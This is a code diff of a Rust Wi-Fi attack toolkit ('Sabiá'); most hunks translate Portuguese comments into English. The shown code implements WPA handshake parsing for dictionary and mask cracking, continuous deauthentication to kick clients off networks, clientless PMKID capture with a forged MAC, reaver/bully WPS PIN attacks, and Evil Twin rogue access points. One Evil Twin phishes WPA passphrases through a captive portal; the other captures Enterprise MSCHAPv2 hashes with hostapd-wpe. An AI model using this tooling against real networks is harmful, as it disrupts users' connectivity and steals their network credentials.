pub fn ccmp_payload(&self, tk: &[u8; 16]) -> Option<Vec<u8>> {
if !self.protected || !self.kind.is_data() {
return None;
@@ -515,9 +515,9 @@ impl<'a> Frame<'a> {
}
}
/// LLC/SNAP (AA AA 03 00 00 00 + ethertype) seguido do payload em claro —
/// compartilhado entre quadros nunca cifrados e quadros CCMP já decifrados
/// com a TK conhecida.
/// Parses cleartext LLC/SNAP (`AA AA 03 00 00 00 + EtherType`) payloads for client
/// identity hints (shared by unencrypted frames and CCMP-decrypted frames).
///
pub fn payload_info_from_llc(payload: &[u8]) -> PayloadInfo {
let mut info = PayloadInfo::default();
let Some(llc) = payload.get(..8) else {
@@ -1062,7 +1062,7 @@ fn manufacturer_from_text(text: &str) -> Option<String> {
Some(name.to_string())
}
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
/// Returns `true` if this frame carries an EAPOL payload.
pub fn is_eapol(body: &[u8]) -> bool {
parse(body).and_then(|f| f.eapol().map(|_| ())).is_some()
}
@@ -1102,8 +1102,8 @@ fn add_phy(phy: &mut Vec<String>, value: &str) {
}
}
/// Information Element de WPS (vendor 00:50:f2 tipo 4). O conteúdo começa
/// com a versão do protocolo e segue em atributos TLV de 16 bits.
/// Parses a Microsoft WPS vendor-specific IE (`00:50:f2:04`, big-endian 16-bit TLVs).
///
fn parse_wps(val: &[u8], info: &mut ManagementInfo) {
if val.len() < 6 {
return;
@@ -1366,7 +1366,7 @@ mod tests {
f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&mac(0x11)); // addr1 = AP
f.extend_from_slice(&mac(0x22)); // addr2 = cliente
f.extend_from_slice(&mac(0x22)); // addr2 = client
f.extend_from_slice(&mac(0x11)); // addr3 = AP
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&[0xAA, 0xAA, 0x03, 0, 0, 0]);
+30 -30
View File
@@ -1,8 +1,8 @@
//! Parser do handshake WPA/WPA2 (EAPOL-Key, IEEE 802.1X).
//! WPA/WPA2 EAPOL-Key (IEEE 802.1X) 4-way handshake parser.
//!
//! Identifies messages 1–4 of the 4-way handshake and extracts nonces, MIC,
//! key descriptor version, and PMKID for [`crate::crack`].
//!
//! Lê as quatro mensagens do 4-way handshake, identifica o número de cada
//! uma, extrai nonces, MIC, versão de chave e PMKID — matéria-prima para
//! montar um alvo de quebra por dicionário em [`crate::crack`].
pub const EAPOL_TYPE_KEY: u8 = 3;
@@ -12,8 +12,8 @@ const KEY_INFO_ACK: u16 = 0x0080;
const KEY_INFO_MIC: u16 = 0x0100;
const KEY_INFO_SECURE: u16 = 0x0200;
/// Deslocamento absoluto do campo MIC dentro do quadro EAPOL (já incluindo
/// o cabeçalho de 4 bytes).
/// Byte offset of the 16-byte MIC field within the full EAPOL frame (including
/// the 4-byte 802.1X header).
pub const MIC_OFFSET: usize = 81;
pub const KEY_DATA_OFFSET: usize = 99;
pub const MIN_KEY_FRAME_LEN: usize = 99;
@@ -22,10 +22,10 @@ pub const MIN_KEY_FRAME_LEN: usize = 99;
pub struct EapolKey {
pub version: u8,
pub descriptor_type: u8,
/// 1, 2, 3 ou 4; 0 quando não é uma das mensagens do 4-way handshake.
/// Handshake message number (`1..=4`, or `0` if not a 4-way handshake frame).
pub message: u8,
pub key_info: u16,
/// Versão do descritor: 1 = TKIP, 2 = CCMP, 3 = AES-CMAC.
/// Key descriptor version: `1` = HMAC-MD5/RC4 (TKIP), `2` = HMAC-SHA1/AES (CCMP), `3` = AES-128-CMAC.
pub key_version: u8,
pub pairwise: bool,
pub replay_counter: u64,
@@ -33,8 +33,8 @@ pub struct EapolKey {
pub mic: [u8; 16],
pub key_data: Vec<u8>,
pub pmkid: Option<[u8; 16]>,
/// Quadro EAPOL completo (cabeçalho + descritor + dados), com o MIC no
/// lugar — usado para recalcular o MIC durante a quebra.
/// Full raw EAPOL frame (header + key descriptor + key data), used to
/// zero the MIC field and recompute it during password verification.
pub frame: Vec<u8>,
}
@@ -51,17 +51,17 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
let frame = buf[..total].to_vec();
let descriptor_type = frame[4];
// 2 = RSN (WPA2/WPA3), 254 = WPA1. Outros descritores não interessam.
// 2 = RSN (WPA2/WPA3), 254 = legacy WPA1.
if descriptor_type != 2 && descriptor_type != 254 {
return None;
}
// Todo campo multi-byte do descritor EAPOL-Key (Key Information, Key
// Length, Replay Counter, Key Data Length) é big-endian — é 802.1X,
// segue a mesma ordem de rede do cabeçalho EAPOL em si. Ler como
// little-endian (bug anterior) embaralhava os bits de ack/mic/secure e
// fazia praticamente todo handshake real cair em message=0, descartado
// silenciosamente — só não aparecia nos testes porque o gerador de
// quadro sintético cometia o mesmo engano, simetricamente.
// All multi-byte fields in the EAPOL-Key descriptor (Key Information, Key
// Length, Replay Counter, Key Data Length) are network byte order (big-endian).
//
//
//
//
//
let key_info = u16::from_be_bytes([frame[5], frame[6]]);
let key_version = (key_info & 0x0007) as u8;
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
@@ -111,8 +111,8 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
})
}
/// PMKID KDE: `dd 14 00 0f ac 04` + 16 bytes. Pode vir em qualquer posição
/// dos dados da chave (normalmente na mensagem 1).
/// Extracts the 16-byte PMKID from an RSN PMKID KDE (`dd 14 00 0f ac 04 + 16 bytes`)
/// inside EAPOL-Key data (typically present in message 1).
pub fn parse_pmkid_kde(data: &[u8]) -> Option<[u8; 16]> {
let mut i = 0usize;
while i + 2 <= data.len() {
@@ -183,24 +183,24 @@ mod tests {
}
}
/// Byte a byte, independente do helper `key_frame` (que usa a mesma
/// codificação do parser): confere que um quadro Mensagem 1 real — key
/// info 0x008a (Ack=1, versão CCMP=2, pairwise), big-endian como é no
/// fio de verdade — é lido como message=1/key_version=2, não message=0.
/// É exatamente o valor citado pela documentação de ferramentas de
/// quebra de WPA pra mensagem 1 com CCMP.
/// Verifies against a raw wire-format EAPOL Message 1 frame (`key_info = 0x008a`
/// big-endian: Ack=1, Pairwise=1, Version=2 CCMP).
///
///
///
///
#[test]
fn parses_real_wire_message1_key_info_as_big_endian() {
let mut frame = vec![0u8; MIN_KEY_FRAME_LEN];
frame[0] = 2; // versão EAPOL
frame[0] = 2; // EAPOL version
frame[1] = EAPOL_TYPE_KEY;
frame[2..4].copy_from_slice(&((MIN_KEY_FRAME_LEN - 4) as u16).to_be_bytes());
frame[4] = 2; // descritor RSN
frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, versão=2(CCMP), pairwise=1
frame[4] = 2; // RSN key descriptor
frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, version=2 (CCMP), pairwise=1
frame[7..9].copy_from_slice(&16u16.to_be_bytes()); // key length
frame[9..17].copy_from_slice(&1u64.to_be_bytes()); // replay counter
frame[17..49].fill(0xaa); // nonce
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // sem key data
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // key data length = 0
let parsed = parse(&frame).expect("mensagem 1 real deveria parsear");
assert_eq!(parsed.message, 1);
+214 -189
View File
@@ -1,9 +1,9 @@
//! Ponte única entre o núcleo e as duas interfaces (servidor local da CLI e
//! o app desktop Tauri): ambos chamam exatamente os mesmos métodos, então
//! qualquer coisa que funcione em um funciona idêntico no outro.
//! Unified service engine shared by both the CLI web server (`sabia ui`) and
//! the Tauri desktop app: manages live capture sessions, channel hopping,
//! dictionary/mask cracking jobs, deauth/PMKID/PMF/WPS tasks, and Evil Twin.
//!
//!
//!
//! Sessões de captura, jobs de quebra, exportação de handshakes e deauth
//! ficam todos aqui — a CLI e a GUI não reimplementam nada.
use crate::audit::AuditLog;
use crate::crack::{self, CrackReport};
@@ -29,15 +29,15 @@ use std::time::{SystemTime, UNIX_EPOCH};
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ScanOptions {
/// Canal fixo; sem ele, percorre os canais suportados.
/// Fixed channel; when `None`, hops across supported channels in `band`.
pub channel: Option<u32>,
/// `2.4`, `5`, `6` ou `all` (usado quando `channel` é `None`).
/// Band filter (`"2.4"`, `"5"`, `"6"`, or `"all"`) used when `channel` is `None`.
pub band: Option<String>,
/// Tempo em cada canal ao pular.
/// Channel hop dwell time in milliseconds.
pub hop_ms: u64,
/// Salva os quadros capturados neste `.pcap`.
/// Optional `.pcap` output path to mirror all captured frames.
pub pcap_out: Option<PathBuf>,
/// Encerra sozinho depois de N segundos.
/// Automatically stop the capture session after this many seconds.
pub duration_secs: Option<u64>,
}
@@ -108,20 +108,20 @@ pub struct WpsJobInfo {
#[derive(Debug, Clone, Serialize)]
pub struct EvilTwinJobInfo {
pub id: String,
/// Interface que captura/desautentica o AP real.
/// Monitor-mode interface used to capture and deauthenticate the target AP.
pub iface: String,
/// Interface que hospeda o clone (precisa ser outra, em modo AP).
/// Secondary wireless interface hosting the rogue AP (`hostapd`).
pub ap_iface: String,
pub ssid: String,
pub bssid: String,
pub portal_port: u16,
pub status: String,
/// Quantas vezes alguém submeteu uma senha no portal.
/// Number of passphrase submissions received by the captive portal.
pub attempts: u32,
/// Última tentativa: "correct", "wrong" ou "invalid".
/// Outcome of the most recent submission: `"correct"`, `"wrong"`, or `"invalid"`.
pub last_attempt: Option<String>,
/// Só preenchido quando alguém digita a senha certa — conferida de
/// verdade contra o handshake, não é só o que foi digitado.
/// Populated only when a submitted passphrase cryptographically verifies
/// against the captured handshake/PMKID.
pub password: Option<String>,
pub deauth_job: Option<String>,
pub error: Option<String>,
@@ -135,11 +135,11 @@ pub struct EvilTwinJobInfo {
pub stop: Option<Arc<AtomicBool>>,
}
/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X) — ver
/// `eviltwin_enterprise.rs`. Diferente do `EvilTwinJobInfo` (PSK), não tem
/// portal/senha: a credencial é capturada automaticamente pelo próprio
/// handshake EAP, por isso o job só expõe quantas identidades já apareceram
/// no log do hostapd-wpe e o caminho do arquivo pra quebra offline.
/// WPA2/WPA3-Enterprise (802.1X) Evil Twin job status (see
/// `eviltwin_enterprise.rs`). Captures EAP (PEAP/TTLS -> MSCHAPv2) challenge/response
/// hashes via `hostapd-wpe` for offline cracking.
///
///
#[derive(Debug, Clone, Serialize)]
pub struct EnterpriseTwinJobInfo {
pub id: String,
@@ -224,8 +224,11 @@ pub struct DeauthJobInfo {
struct DeauthJob {
info: Arc<Mutex<DeauthJobInfo>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
stop: Arc<AtomicBool>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
handle: Option<std::thread::JoinHandle<()>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
locked_channel: Option<u32>,
}
@@ -246,12 +249,16 @@ pub struct Engine {
jobs: Mutex<HashMap<String, Arc<Mutex<CrackJobInfo>>>>,
job_seq: AtomicU64,
deauth_jobs: Mutex<HashMap<String, DeauthJob>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
deauth_seq: AtomicU64,
wps_jobs: Mutex<HashMap<String, Arc<Mutex<WpsJobInfo>>>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
wps_seq: AtomicU64,
eviltwin_jobs: Mutex<HashMap<String, Arc<Mutex<EvilTwinJobInfo>>>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
eviltwin_seq: AtomicU64,
enterprise_twin_jobs: Mutex<HashMap<String, Arc<Mutex<EnterpriseTwinJobInfo>>>>,
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
enterprise_twin_seq: AtomicU64,
audit_path: PathBuf,
audit_lock: Arc<Mutex<()>>,
@@ -296,13 +303,13 @@ impl Engine {
&self.audit_path
}
/// Chamado pelo handler de SIGINT/SIGTERM do processo que hospeda o
/// engine (CLI/Tauri) antes de sair. Faz sincronamente o que a thread
/// de limpeza do Evil Twin faria no fim normal do job: mata
/// hostapd/dnsmasq, desfaz o iptables e devolve as interfaces pro
/// NetworkManager — sem isso o processo morre com as duas interfaces
/// presas em `managed no` e o Wi-Fi some do painel do sistema até o
/// próximo início do engine rodar `self_heal_eviltwin_leftovers`.
/// Invoked by the host process SIGINT/SIGTERM handler before exit.
/// Synchronously stops any active Evil Twin (`hostapd`/`dnsmasq`), removes
/// `iptables` redirect rules, and returns wireless interfaces to NetworkManager.
///
///
///
///
#[cfg(target_os = "linux")]
pub fn shutdown_cleanup(&self) {
use std::process::Command;
@@ -375,13 +382,13 @@ impl Engine {
if !enable {
self.stop_scan(name);
}
// Visto ao vivo: com a interface ainda sob o NetworkManager, ele
// reage ao modo monitor como uma desconexão e reconecta a interface
// de volta em managed — às vezes rápido o bastante pra já estar
// gerenciada nem dez segundos depois do botão "ativar modo monitor"
// mostrar sucesso, e a captura falha com "está em modo managed"
// mesmo a UI dizendo que deu certo. Solta/devolve a interface pro NM
// antes/depois de trocar o modo (best-effort: segue sem nmcli).
// Detach the interface from NetworkManager (`nmcli device set <iface> managed no`)
// before enabling monitor mode so NM does not immediately reset it back to
// managed mode, and reattach it when returning to managed mode.
//
//
//
//
if enable {
let _ = std::process::Command::new("nmcli")
.args(["device", "set", name, "managed", "no"])
@@ -419,9 +426,9 @@ impl Engine {
Ok(())
}
/// Trava a captura em um canal (ou volta a pular canais com `None`).
/// Usado por deauth, PMKID e WPS para não perder o alvo enquanto o
/// ataque está em andamento.
/// Locks the active capture session onto a fixed channel (or resumes hopping with `None`).
/// Used by deauth, PMKID, and WPS jobs so frames are transmitted and received on the
/// target AP's channel.
pub fn lock_channel(&self, name: &str, channel: Option<u32>) -> Result<()> {
if let Some(channel) = channel {
netlink::set_channel(name, channel)?;
@@ -469,8 +476,8 @@ impl Engine {
};
let hop = Duration::from_millis(options.hop_ms.clamp(100, 5_000));
// Substitui uma sessão anterior (se houver) só depois que a nova
// captura abriu, para não derrubar a antiga se algo falhar.
// Replace any previous capture session only after the new capture socket
// opens cleanly.
self.stop_scan(name);
let table = Arc::new(Mutex::new(ScanTable::new()));
@@ -648,14 +655,14 @@ impl Engine {
let analysis = table.analysis();
let stats = table.stats();
let running = session.running.load(Ordering::SeqCst);
// Uma placa pode aceitar o netlink de "modo monitor" (nenhum erro
// na hora de ativar) e ainda assim nunca entregar um quadro de
// verdade pro socket de captura — comum em Wi-Fi interna de
// notebook, cujo firmware ignora o pedido de modo promíscuo. 12s
// dão tempo de sobra pra visitar bastante canal (a cada 350ms) sem
// achar nem um beacon, o que nunca acontece de verdade num ambiente
// com Wi-Fi ao redor — é sinal de que a placa não está entregando
// quadro nenhum, não que o ar está vazio.
// Detect silent monitor-mode failure: some laptop Wi-Fi adapters accept
// switching to monitor mode via netlink without error yet never deliver
// any 802.11 frames to the raw socket. After 12s with zero frames,
// surface a warning to the user.
//
//
//
//
let warning = if running
&& stats.frames == 0
&& unix_now().saturating_sub(session.started_unix) >= 12
@@ -684,7 +691,7 @@ impl Engine {
Ok(snapshot)
}
/// Compatibilidade com a API antiga: só os APs da sessão.
/// Returns the list of access points from the current capture session.
pub fn scan_results(&self, name: &str) -> Vec<AccessPoint> {
self.sessions
.lock()
@@ -703,8 +710,8 @@ impl Engine {
.unwrap_or_default()
}
/// Analisa um `.pcap` offline e devolve o mesmo snapshot da captura ao
/// vivo (sem sessão e sem tocar no rádio).
/// Parses an offline `.pcap` file and returns a `ScanSnapshot` without
/// touching any wireless hardware.
pub fn analyze_pcap(&self, path: impl AsRef<Path>) -> Result<ScanSnapshot> {
let path = path.as_ref();
let mut reader = PcapReader::open(path)?;
@@ -732,9 +739,9 @@ impl Engine {
})
}
/// Modelo completo do relatório: snapshot atual + trilha de auditoria.
/// A interface renderiza com Paged.js; a mesma estrutura vira HTML
/// standalone no servidor local.
/// Builds the full audit report model (scan snapshot + WIDS analysis + audit trail).
/// Rendered in the UI via Paged.js or exported as standalone HTML.
///
pub fn report(&self, name: &str) -> Result<crate::report::ReportModel> {
let snapshot = self.scan_snapshot(name)?;
let audit = self.audit_entries(Some(60)).unwrap_or_default();
@@ -918,9 +925,9 @@ impl Engine {
)
}
/// Quebra com o dicionário embutido (9,7 milhões de senhas reais,
/// filtradas pro comprimento de WPA), sem exigir nenhum arquivo externo.
/// É o padrão do botão “Quebrar senha”.
/// Starts a background dictionary crack job using the built-in 9.7M WPA wordlist.
///
///
pub fn start_crack_default(
&self,
name: &str,
@@ -1048,11 +1055,11 @@ impl Engine {
Ok(id)
}
/// Força bruta por máscara (ex.: `?d?d?d?d?d?d?d?d` pra 8 dígitos), sem
/// dicionário. `max_candidates` é um limite de segurança — máscaras
/// grandes (ex.: `?l?l?l?l?l?l?l?l`, 26^8 ≈ 208 bilhões) travariam a
/// máquina por dias; recusa de cara em vez de deixar o job rodar pra
/// sempre sem avisar.
/// Starts a background mask brute-force job (e.g. `?d?d?d?d?d?d?d?d`),
/// rejecting keyspaces larger than `max_candidates`.
///
///
///
pub fn start_crack_mask(
&self,
name: &str,
@@ -1196,8 +1203,8 @@ impl Engine {
self.deauth_directional(name, bssid, station, count, reason, "ap", "deauth")
}
/// `direction`: `ap` (AP→STA), `sta` (STA→AP, exige estação) ou `both`.
/// `frame_kind`: `deauth` ou `disassoc`.
/// `direction`: `"ap"` (AP->STA), `"sta"` (STA->AP, requires `client`), or `"both"`.
/// `frame_kind`: `"deauth"` or `"disassoc"`.
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
pub fn deauth_directional(
@@ -1294,11 +1301,11 @@ impl Engine {
Ok(report)
}
/// Inicia uma desautenticação contínua (até `stop_deauth_job`). O canal da
/// captura é travado no canal do AP enquanto o job roda, senão o salto de
/// canais faria os quadros saírem na frequência errada e perderia o
/// handshake. `stop_on_handshake` encerra sozinho quando o par
/// (BSSID, estação) fica quebrável.
/// Starts a background deauthentication job (until `stop_deauth_job`), locking
/// the capture channel to the target AP and optionally stopping automatically
/// once a crackable handshake is captured (`stop_on_handshake`).
///
///
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
pub fn start_deauth_job(
@@ -1484,8 +1491,8 @@ impl Engine {
if max_secs.is_some_and(|s| started.elapsed() >= Duration::from_secs(s)) {
break;
}
// Confere antes de uma nova rajada para não interromper um
// handshake que chegou enquanto o job esperava a reassociação.
// Check whether a handshake already arrived before sending another burst.
//
if stop_on_handshake && handshake_ready() {
handshake = true;
break;
@@ -1671,10 +1678,10 @@ impl Engine {
ids
}
/// Atalho para “forçar handshake”: escolhe um cliente associado (quando
/// nenhum foi indicado), trava o canal do AP e envia rajadas espaçadas.
/// O espaço entre as rajadas é essencial: deauth a cada 120 ms mantém o
/// cliente fora do ar e pode impedir a reassociação que produz o EAPOL.
/// Shortcut to force a WPA handshake: picks an associated client (if none
/// specified), locks onto the AP channel, and sends spaced deauth bursts
/// so the client has time to reassociate and complete the 4-way handshake.
///
#[cfg(target_os = "linux")]
pub fn capture_handshake(
&self,
@@ -1757,10 +1764,10 @@ impl Engine {
Err(SabiaError::UnsupportedPlatform)
}
/// Tenta provocar a mensagem 1 com PMKID: autentica e envia um
/// association request com RSN/PMKID usando um MAC local forjado. É o
/// mesmo gatilho do ataque clientless, mas depende do AP — muitos só
/// incluem PMKID em roaming real.
/// Attempts clientless PMKID capture by sending Open Authentication followed
/// by an Association Request with an RSN IE from a locally administered MAC.
///
///
#[cfg(target_os = "linux")]
pub fn pmkid_hunt(&self, name: &str, bssid: &str, attempts: u32) -> Result<PmkidReport> {
use crate::inject::{self, RawInjector};
@@ -1860,6 +1867,12 @@ impl Engine {
Ok(report)
}
#[cfg(not(target_os = "linux"))]
pub fn pmkid_hunt(&self, _name: &str, _bssid: &str, _attempts: u32) -> Result<PmkidReport> {
Err(SabiaError::UnsupportedPlatform)
}
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
fn session_ap(&self, name: &str, bssid: &str) -> Result<Option<AccessPoint>> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
@@ -1872,9 +1885,9 @@ impl Engine {
.find(|a| a.bssid.eq_ignore_ascii_case(bssid)))
}
/// Teste prático de PMF: desautentica nas duas direções e observa se a
/// estação volta a associar. Não é uma prova criptográfica — é o mesmo
/// sinal que um ataque real usaria.
/// Practical 802.11w (PMF) test: injects unprotected deauth frames in both
/// directions and observes whether the station reassociates.
///
#[cfg(target_os = "linux")]
pub fn pmf_test(
&self,
@@ -1946,6 +1959,18 @@ impl Engine {
Ok(report)
}
#[cfg(not(target_os = "linux"))]
pub fn pmf_test(
&self,
_name: &str,
_bssid: &str,
_station: &str,
_reason: u16,
) -> Result<PmfReport> {
Err(SabiaError::UnsupportedPlatform)
}
#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
fn client_snapshot(&self, name: &str, station: &str) -> Result<Option<crate::scan::Client>> {
let sessions = self.sessions.lock().unwrap();
let session = sessions.get(name).ok_or_else(|| {
@@ -1959,8 +1984,8 @@ impl Engine {
crate::wps::tools()
}
/// Inicia reaver/bully como processo filho. Sem PIN, o reaver usa Pixie
/// Dust. A saída é lida ao vivo e o PIN/PSK é extraído quando aparece.
/// Spawns `reaver` or `bully` as a child process (defaulting to Pixie Dust when
/// `pin` is omitted) and streams output lines while parsing any recovered PIN/PSK.
#[cfg(target_os = "linux")]
pub fn start_wps(
&self,
@@ -2181,7 +2206,7 @@ impl Engine {
.ok_or_else(|| SabiaError::InvalidInput("job WPS não encontrado".into()))?;
let pid = job.lock().unwrap().pid;
if let Some(pid) = pid {
// SAFETY: sinal para o processo filho que este próprio Sabiá criou.
// SAFETY: sends a signal to the child process spawned by this instance.
unsafe {
libc::kill(pid as i32, libc::SIGTERM);
}
@@ -2202,16 +2227,16 @@ impl Engine {
Err(SabiaError::UnsupportedPlatform)
}
/// Evil Twin + portal cativo: clona um AP já visto nesta sessão (SSID
/// aberto, numa segunda interface em modo AP) e sobe um portal que pede
/// a senha — conferida na hora contra um handshake real já capturado
/// desse BSSID, não aceita qualquer coisa digitada. Por isso exige um
/// handshake quebrável já presente na tabela: é o mesmo requisito do
/// botão "Quebrar senha", só que a verificação acontece ao vivo, uma
/// tentativa por vez, em vez de testar um dicionário inteiro.
/// Evil Twin + captive portal: clones a target AP on a secondary `ap_iface`
/// (open SSID) with `hostapd` + `dnsmasq` and serves a captive portal that
/// verifies submitted passphrases against a captured WPA handshake/PMKID.
///
///
///
///
///
/// Requires `hostapd`, `dnsmasq`, `iptables`, and a second AP-capable wireless interface.
///
/// Precisa de `hostapd` instalado e de uma segunda interface Wi-Fi
/// capaz de modo AP, diferente da que está capturando/desautenticando.
#[cfg(target_os = "linux")]
#[allow(clippy::too_many_arguments)]
pub fn start_evil_twin(
@@ -2304,13 +2329,13 @@ impl Engine {
)
.map_err(SabiaError::Io)?;
// Estado em disco pra recuperação: se este processo morrer (Ctrl+C
// sem handler, kill -9, queda de energia) antes da thread de
// limpeza rodar, as duas interfaces ficam presas em `managed no`
// pro NetworkManager pra sempre e o hostapd/dnsmasq ficam órfãos —
// na prática o Wi-Fi inteiro desaparece da configuração do sistema
// (nenhum dispositivo gerenciado pro painel mostrar). `self_heal_eviltwin_leftovers`
// lê este arquivo no próximo início do engine e desfaz tudo.
// Persist recovery state to disk before modifying network state so
// `self_heal_eviltwin_leftovers` can clean up orphaned `hostapd`/`dnsmasq`
// processes, `iptables` rules, and `nmcli managed no` flags if killed.
//
//
//
//
let state_path = dir.join(format!("state-{ap_iface}.json"));
let _ = fs::write(
&state_path,
@@ -2324,17 +2349,17 @@ impl Engine {
.to_string(),
);
// Se o NetworkManager (ou outro gerenciador) estiver cuidando dessa
// interface, ele reafirma a própria conexão por cima e o hostapd
// nunca consegue de fato assumir o rádio — fica "rodando" sem subir
// o AP. Solta a interface antes (best-effort: segue em frente mesmo
// sem nmcli, só não vai funcionar contra uma interface gerenciada).
// Detach both `ap_iface` and `capture_iface` from NetworkManager before
// starting `hostapd` so NM neither overrides the rogue AP interface nor
// attempts to auto-connect a saved profile on the capture interface.
//
//
//
//
//
//
//
//
// A interface de CAPTURA também precisa ficar fora do NetworkManager
// nesse momento: visto ao vivo — ao soltar só a `ap_iface`, o NM
// "resgatou" uma conexão salva daquele SSID pra outra placa Wi-Fi
// gerenciável disponível (a própria interface de captura!), tirando
// ela do modo monitor no meio da sessão. Solta as duas.
let _ = Command::new("nmcli")
.args(["device", "set", ap_iface, "managed", "no"])
.status();
@@ -2342,8 +2367,8 @@ impl Engine {
.args(["device", "set", name, "managed", "no"])
.status();
// Endereço do gateway na interface do clone, antes de subir o
// hostapd/dnsmasq — sem isso o DHCP não tem o que anunciar.
// Assign the gateway IP to `ap_iface` before starting `hostapd`/`dnsmasq`.
//
let _ = Command::new("ip")
.args(["addr", "flush", "dev", ap_iface])
.status();
@@ -2354,13 +2379,13 @@ impl Engine {
.args(["link", "set", ap_iface, "up"])
.status();
// A saída do hostapd ia pro vácuo (Stdio::null()); quando ele morre
// na hora (config que o driver recusa, canal/banda que a placa não
// suporta de verdade, etc.) a única pista era um processo
// "<defunct>" sem explicação nenhuma. Grava num arquivo pra poder
// diagnosticar, e confere logo depois do spawn se ele já morreu —
// nesse caso devolve o erro de cara em vez de deixar o job "rodando"
// só na aparência enquanto o AP nunca sobe de verdade.
// Redirect `hostapd` output to a log file and verify it stays alive after
// startup so immediate driver/channel failures return a clear error.
//
//
//
//
//
let hostapd_log_path = dir.join(format!("hostapd-{ap_iface}.log"));
let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?;
let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?;
@@ -2406,11 +2431,11 @@ impl Engine {
let _ = Command::new("iptables").args(&rule).status();
}
// Sem parada automática daqui de dentro: a thread que termina o
// Evil Twin roda solta (não tem `&Engine` pra chamar stop_deauth_job
// de volta). Por segurança o job de deauth tem um teto de 30min —
// pra encerrar antes, é o endpoint de deauth normal (POST
// /api/deauth/stop) ou a aba Ataques → Desautenticação → Parar.
// Cap continuous deauth at 30 minutes (or until `stop_evil_twin` / `stop_deauth_job`).
//
//
//
//
let deauth_job = if deauth_real_ap {
self.start_deauth_job_burst(
name,
@@ -2502,8 +2527,8 @@ impl Engine {
},
);
// Limpeza: derruba hostapd/dnsmasq, desfaz o iptables, para o
// job de deauth do AP real — sempre, sucesso ou não.
// Cleanup: stop `hostapd`/`dnsmasq`, remove `iptables` rules, and restore
// both interfaces to NetworkManager.
unsafe {
libc::kill(hostapd_pid as i32, libc::SIGTERM);
}
@@ -2515,20 +2540,20 @@ impl Engine {
for rule in crate::eviltwin::iptables_cleanup_rules(&ap_iface_owned, portal_port) {
let _ = Command::new("iptables").args(&rule).status();
}
// Devolve as duas interfaces pro NetworkManager, senão ficam
// soltas (sem reconectar sozinhas a nada) depois que o hostapd
// sai. A de captura também foi solta lá no início — ver o
// comentário em start_evil_twin sobre o NM "resgatando" conexão
// salva pra ela quando só a `ap_iface` era liberada.
// Return both `ap_iface` and `capture_iface` to NetworkManager.
//
//
//
//
let _ = Command::new("nmcli")
.args(["device", "set", &ap_iface_owned, "managed", "yes"])
.status();
let _ = Command::new("nmcli")
.args(["device", "set", &iface_name, "managed", "yes"])
.status();
// Limpeza terminou direitinho: o arquivo de recuperação não é
// mais necessário (senão o próximo start do engine ia tentar
// "curar" um estado que já está limpo).
// Cleanup succeeded: remove the crash-recovery state file.
//
//
let _ = std::fs::remove_file(&state_path_for_thread);
let mut guard = thread_job.lock().unwrap();
@@ -2613,29 +2638,29 @@ impl Engine {
if let Some(stop) = &guard.stop {
stop.store(true, Ordering::SeqCst);
}
// O accept() não-bloqueante só confere o `stop` a cada ~80ms — o
// listener às vezes só é liberado numa conexão local de "empurrão".
// Wake the non-blocking `accept()` loop with a local connection so it exits immediately.
//
let port = guard.portal_port;
let capture_iface = guard.iface.clone();
drop(guard);
let _ = std::net::TcpStream::connect(("127.0.0.1", port));
// A thread que fecha o Evil Twin roda solta e não tem como parar o
// job de deauth acoplado de volta; isso aqui, que tem `&self`, pode.
// Also stop the companion deauth job if one was started alongside the Evil Twin.
//
self.stop_deauth_for_iface(&capture_iface);
Ok(())
}
/// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X): clona o AP numa
/// segunda interface anunciando o mesmo SSID+canal e deixa o
/// `hostapd-wpe` aceitar o handshake EAP (PEAP/TTLS→MSCHAPv2) de
/// qualquer cliente — a credencial sai sozinha, como parte do próprio
/// protocolo, sem portal nem ação humana (ver `eviltwin_enterprise.rs`
/// pro porquê disso só existir pra Enterprise e não pra PSK).
/// Starts a WPA2/WPA3-Enterprise (802.1X) Evil Twin using `hostapd-wpe`
/// on `ap_iface` to capture EAP (PEAP/TTLS -> MSCHAPv2) challenge/response
/// credentials (see `eviltwin_enterprise.rs`).
///
///
///
///
/// Requires the target AP to advertise 802.1X Enterprise security and
/// `hostapd-wpe` + `openssl` to be installed.
///
///
/// Exige que o AP já tenha aparecido nesta sessão com segurança
/// Enterprise (AKM 802.1X) e que `hostapd-wpe` esteja instalado — não é
/// vendorizado como o reaver: é um patch sobre a árvore de build do
/// hostapd, não um binário pequeno.
#[cfg(target_os = "linux")]
pub fn start_evil_twin_enterprise(
&self,
@@ -2708,10 +2733,10 @@ impl Engine {
crate::eviltwin_enterprise::DEFAULT_EAP_USER_FILE,
)
.map_err(SabiaError::Io)?;
// Mesmo certificado autoassinado serve de "CA" e de certificado do
// servidor — não é uma cadeia de verdade, só o suficiente pra abrir
// o túnel TLS que PEAP/TTLS exigem. Ver aviso em eviltwin_enterprise.rs
// sobre clientes que validam a cadeia e vão recusar isso de propósito.
// Use the generated self-signed certificate as both `ca_cert` and
// `server_cert` to establish the outer PEAP/TTLS TLS tunnel.
